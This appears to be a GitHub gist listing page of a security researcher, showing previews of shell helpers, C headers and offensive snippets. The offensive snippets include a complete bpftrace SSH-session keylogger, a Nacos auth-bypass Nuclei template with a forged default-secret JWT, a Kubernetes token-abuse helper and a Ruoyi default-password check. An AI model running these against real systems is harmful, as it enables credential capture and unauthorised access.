Skip to content

Instantly share code, notes, and snippets.

View Esonhugh's full-sized avatar
💭
I may be slow to respond.

Esonhugh Skyworship Esonhugh

💭
I may be slow to respond.
View GitHub Profile
@Esonhugh
Esonhugh / urlencode
Created November 26, 2022 10:35
shell function of url encode decode
url () {
case "$1" in
(decode | d | -d | --decode) if [ -z "$2" ]
then
\python3 -c "import sys; from urllib.parse import unquote; print(unquote(sys.stdin.read()));"
else
\python3 -c "import sys; from urllib.parse import unquote; print(unquote(' '.join(sys.argv[2:])));" "$@"
fi ;;
(encode | e | -e | --encode) if [ -z "$2" ]
then
@Esonhugh
Esonhugh / debugging.h
Created December 10, 2022 11:12
条件编译Debug模式小工具
/*
C header file for debugging print
DEBUG_HEADER can be modified
and also the if you need debugging in kernel
you may need define PRINT as printk or other print funcs.
Usage:
Compile with gcc and options like `-D DEBUG_MODE` will enable the debug print
if no `-D DEBUG_MODE` will not make the debug function work bug defined.
@Esonhugh
Esonhugh / common_helper.h
Created January 16, 2023 14:14
Cilium useful header all in one. That maybe help people who trapped into the dependency hell when editing ebpf-c code.
/*
Author: Esonhugh
Date: 2023-01-16
*/
#ifndef __CILIUM_COMMON_HEADER
#define __CILIUM_COMMON_HEADER
#include <linux/vmlinux.h>
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_core_read.h>
@Esonhugh
Esonhugh / sshd_keylogging.bt
Last active January 21, 2023 15:59
ebpf base sshd keylogging. example code is using bpftrace cli tool.
// explain:
// fd > 5 always occurs when user create a new interface
// fd = 5 is common command line shell.
// fd = 10 termius will use this, other command line shell is not test yet.
// This script can logging all communication of new ssh process when new login attempt happen.
tracepoint:syscalls:sys_enter_write / comm == "sshd" && args->fd >= 5 / {
printf("[pid %d fd %d] %r\n", pid, args->fd ,buf(args->buf, args->count ));
}
@Esonhugh
Esonhugh / nacos_bypass_nuclei_template.yaml
Last active December 18, 2023 06:50
nacos default jwt secret encryption vuln nuclei poc leaking all passwords and create user automatically exploit.
id: nacos-bypass-authentication
variables:
#token: eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6OTk5OTk5OTk5OTl9.vqhkMLKmquQ6R5AD6VWrTOqgClC599nnAQgQLHhPcLc
# token is signed with a very long time expire.
# token exp -1
token: eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6LTF9.ybUomrBRXZhbUMWVgXRz3Q6zndbF-Zdk4RGpCnV-Ofs
info:
name: Nacos Bypass Auth with default jwt secret
@Esonhugh
Esonhugh / pyactive
Last active April 5, 2023 12:51
active python venv
#!/usr/bin/env $SHELL
# Author: Esonhugh
# Date: 2023/04/05
function pyactive () {
if [ -d "./venv/" ]
then
source "./venv/bin/activate"
else
echo "No Python venv there. Error"
@Esonhugh
Esonhugh / update-java-version
Last active July 26, 2024 03:00
update java versions on macos or other computer. This script will switch java version at current env once.
#!/bin/zsh
# Author: Esonhugh
# Date: 2024/07/26
# Java is installed on mac with brew and IDEA
# following path is the IDEA path and brew path
# JAVA Alternatives
export COMMON_JAVA_HOME="$HOME/Library/Java/JavaVirtualMachines"
@Esonhugh
Esonhugh / kubectl-hack
Last active April 5, 2023 13:55
kubectl api token abuse function named kube
#!/usr/bin/env $SHELL
# Author: Esonhugh
# Date: 2023/04/05 21:01
function kube() {
if [[ "$1" == "help" ]]
then
echo "============================================ KubeHack ============================================"
echo "version\t\tkubectl hack plugin version."
echo "server\t\tset env var.value is the kube api server endpoint. Example: https://127.0.0.1:6443"
@Esonhugh
Esonhugh / ruoyi-default-pass.yaml
Created June 1, 2023 07:58
Ruoyi Weak password admin -> admin123
id: Ruoyi-default-password
info:
name: Ruoyi default password admin/admin123
author: Esonhugh-self-maintained
severity: critical
description: |
Ruoyi default password admin admin123
tags: password,default,ruoyi
stop-at-first-match: true
@Esonhugh
Esonhugh / docker_cme.sh
Created June 7, 2023 07:09
using docker crackmapexec and make command alias
function docker_cme() {
if [[ -z "$1" ]]
then
if [[ -n `sudo docker ps -a|grep crackmapexec` ]]
then
sudo docker start crackmapexec
sudo docker exec -it crackmapexec sh
else
sudo docker run -it --entrypoint=/bin/bash --name crackmapexec byt3bl33d3r/crackmapexec
fi